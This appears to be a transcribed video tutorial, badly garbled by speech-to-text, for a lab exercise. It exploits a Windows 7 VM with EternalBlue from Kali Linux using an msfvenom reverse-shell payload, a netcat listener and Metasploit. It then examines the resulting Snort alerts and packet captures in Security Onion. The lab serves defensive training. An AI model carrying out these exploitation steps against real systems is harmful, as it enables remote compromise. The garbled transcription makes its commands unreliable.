We're going to want to have security on and running behind the scenes at this point.
My security union has a native interface on th 0 and a host only interface on it VH 1 which is my sniffing
interface the sniffing interface should be capturing all traffic is going to and from the Kalli Linux
and Windows 7 VM.
Make sure that you have promiscuous mode enabled within the virtual box network settings for the host
only interface.
Let's take a look at that real quick.
So setting's network see here is my adapter one.
It's an added adapter to host only now under the advanced section.
Here we have promiscuous mode set to allow all this is very important if you do not have this set then
you will not be able to see the traffic.
So let's go ahead and open up our security onion V.M..
Now to test to see if we can see traffic over the sniffing interface.
That's right a quick sudo TZP up and DDT.
Hey I eat VH 1.
So we can start sniffing on that interface.
See we have some traffic here.
Let's go to the Khalil's Linux box with which I have running.
And I'm going to ping.
See I have a host only IP address of 1 and 2 1 6 8 5 6 1 0 1 for the Kalli box.
Let's go over to the Windows box.
We have an IP address of 1 2 1 6 8 5 6 1 0 2.
Let's go ahead and pin the Windows box from Kallang
as you can see here we have the ping traffic.
So we're successfully sniffing the traffic.
Let's go ahead and kill TCAP dump and run another TCAP dump this time writing it to a file name called
eternal blue dot Piqua.
This way we can easily isolate the exploit that we're going to run later and analyze it.
So to do so type TZP dumb pseudo TCAP up dash and TVT a by de-th one dash w eternal blue dot Piqua.
Let's move back to R. Kelly Linux VM in Virtual Box.
My colleague Linux is set to Natt on each year zero and host only on each one for network configurations.
First off let's run a quick end map scan with NSC scripts to verify whether the Windows 7 VM is indeed
vulnerable to eternal blue.
To do this let's type and map hiving P for 4 or 5 hyphen hyphen script SNB hyphen Vaun Asterix.
This is going to check against all a.e scripts related to SMB vulnerabilities than the IP address of
the Windows 7 VM.
All right so as we can see here
vulnerable the results of this maps can show that this host is vulnerable to M-S 17 dash 0 10 which
is the eternal blue vulnerability.
Let's put this theory to the test.
Download the zip file for the python exploit from get hub dot com downloads zip
save extract here.
All right go to the downloads folder.
Go to the 17 hyphen 0 10 hyphen in Master folder
go to the shellcode folder now I'm going to type M.V. Asterix dot dot to move all the contents back
one directory so their own the same place.
CD got Daka back to the original directory here.
OK so now we're going to have to perform the following commands to get the export ready for the 32 bit
architecture.
First command and a s m HIF and F then eternal blue underscore K shellcode X 86 dot HSF
second command we're going to use MSF venom in order to generate a malicious payload that will allow
us to acquire a reverse shell from the Windows 7 VM to the Cali IBM.
So I have it free typed here just going to paste it in.
All right let's go over this real quick.
So we have MSF venom and P for the payload which is where Shell reverse TCAP we have an architecture
of X 86 of 32 bit platform of windows and then coater of Chicago and I for a 32 bit architecture a file
type of raw an output file name of maternal for X 86 not been exit phunk thread and our local host is
going to be 192 1 6 8 5 6 1 0 1.
This is the Kalli Linux IP address and a local port of 4 4 4 4 that's the port that's going to be used
for the river Scheldt and hyphen B or the exclusion of bad characters which will be omitted from the
final payload.
So run that
right.
So the final command here is going to be cat the eternal blue hyphen case shellcode hyphen X 86 that's
what the result of what we ran the NSA command before.
This is the result file name of that.
And we have the maturity or X 86 not been that's a result of the MSA venom command we ran.
We're going to combine them into a new file called S-E underscore X 86 dumpbin.
All right.
So before we run the exploit we need to set up a netcat listener to do that type and see HIF and LVB
4 4 4 4 because the port specified in our payload and that run in there.
Right.
So the syntax to run this payload is python.
Eternal blue haif or underscore exploit 7. P Y and the IP address of the Windows 7 VM and the Beiner
that we just created.
S C underscore X 86 Dobbyn
Sometimes it takes a while to actually get the reverse shell.
Let's take a look at the windows 7 pm.
I see we crash the Windows 7 VM earlier when we're running a test on SNB So that's obviously why it's
not running me.
Until this reboot you may encounter this yourself.
I mean if you run the exploit and something happens that sometimes you get the Blue Screen of Death.
Sometimes it'll just force a reboot.
It's not 100 percent reliable it's running a buffer overflow if you have the incorrect amount of bytes
it'll it'll.
It'll destroy the VM subtitles why it's a good idea to snapshot it anyway.
Now that we have rebooted the system it's try this again.
At that time it worked immediately.
As you can see here we have a system level Shell as a result of the exploit.
If it doesn't work for you something was done incorrectly along the steps.
Try starting over from step one try rebooting the Windows 7 box because sending buffer overflows can
crash the SMB service and can also just crash the operating system making it a Blue Screen of Death
or forcing it to restart.
So here you have ideate Windows 7.
Same let's go back here.
Proview that is the correct one.
Yes we have a system of access to this machine.
So at this point we have compromised.
Let's go to security onion and see what type of storm alerts have occurred as a result of this exploitation.
Open up squirt
a quick look at these alerts.
Show that several SMB based alerts have fired.
Take a look at the exploit Microsoft as are two Dot says SMB negotiate process ID function table difference
alert and see what we have here.
OK.
This court rule will alert on TCAP traffic coming from the external net variable and any port going
to the home that variable and port 4 4 5 which is the standard port for SMB looks here will fire if
the connection is established and it is looking for a content match of hexadecimal ef ef 5 3 4 3 4 2
7 2 with an offset of four and depth of 5.
And also the content match of the hexadecimal 0 0 26 with a distance of 7 within two.
Take a look at the traffic associated with this alert.
CANSECO back here.
Want to see x.
All right so the hecks f f five three forty four 272
right there.
OK.
So this is the reason that it fired F-F five three forty four to seven to it's pretty straight 4 and
0 0 2 6 is also press and that's
within these parameters of the offset and depth in the distance.
All right so what is this telling us an exploit was performed but how do we know whether it was successful.
We don't have that information just based off the alert.
So we're going to have to look at the gap.
So what I'm going to do is close this
and remember we have our
earlier we had a recap that we
see click to make a bigger.
Right.
So as you recall we had a TCAP dump listener and writing it to a file the maternal blue.
So let's open that up with TCAP of TCAP dump and then TTG Hey our eternal wound up he kept a of it to
last with a hyphen or
take a look at this traffic here.
He's in that pile of traffic and is trying to access the busy Dorsch I share here you see four fives
SNB traffic.
I see these A's in the payload.
That's a dead giveaway of a buffer overflow attempt.
Those are just padding for the buffer overflow.
All right.
So Boutelle than attack was attempted.
Most likely but how do we know whether it was successful.
We know it was successful because we got the connection back.
So what would we see in this traffic to indicate that connection.
Well we have an end cat or cat connection which is plain text and we got a Windows C and D DXi shell.
So in theory we should see the banner which has that plain text ring Microsoft in it.
I'm just going to do a quick string search of Microsoft.
Right.
Right there.
Same port as we specified in the reverse shall we have Microsoft Corporation.
All rights reserved right there.
That's that's it.
That shows us that the reverse shell was acquired.
And again we have it.
Here's here's the prompt.
So there it is.
Check it out.
It's the same thing.
You'll see this banner in plain text if you get a reverse shell.
Just straight windows.
So as you see here we've acquired network evidence that the exploit was successful.
Just for fun let's see what happens when I run the Mehta's Floyd eternal blue module against the windows
7 VM and see the results from security on so go back to security and then start up a new TCAP dumplings
and her PC build up an entity to be a PI it th one that.
Ivan w the eternal blue to copy cat.
You need a suit of that sort of pseudo Bang-Bang
back to Cali Linux type in MSF console.
Serj eternal mu.
There's the exploit we want to use.
Said our host to the Windows 7 box that will host to the IP address of the Kalli Linux box.
So the payload to Windows matricular reverse TCAP
said varify architecture to false.
Otherwise it will not run.
Launch the exploit.
See here it failed to kill that
as you can see here this exploit was designed for Windows 7 for the 64 bit architecture and ours is
a 32 bit architecture.
Therefore it will not work and that's why it failed.
So let's go back to security Anniyan and see the result.
Taking a look at the alerts I immediately see two eternal blue exploit snot rules fired as a result
of the explant.
Let's take a look at the first one.
All right this looks like a fairly simple sort rule.
It will alert TCAP traffic coming from any IP and any port going to any IP and port 4 4 5 which is the
standard port for SMB it it'll only fire establish connections a server with a hexadecimal content of
a thousand and so on.
Large string here.
Let's take a look at the peak cap.
So just go down here first.
All right here's the hex it amassed on right after the AES so see go back up here.
Eight thousand.
Eight thousand five.
It is it doesn't.
A thousand F-F and so on.
So that's an exact content match.
That's why that fire can go ahead and go to our picquet that we captured earlier.
And and TTG are for the TCAP dorm switches to last
kind of similar with all the A's here.
See Actually we are going to be unable to see the hex without the switch.
OK.
Now we can see the raw packet as well as the decoded payload.
Strange search of eight thousand.
Boom right there.
So there's a reason that these sort roll fire.
But obviously we're not going to have a string of Microsoft in this payload here because there was no
successful reverse shell.
This is an attack attempt with a failure a failed result.
Right.
So this is the end of this lab.
If you have any questions as always please feel free to reach out to me.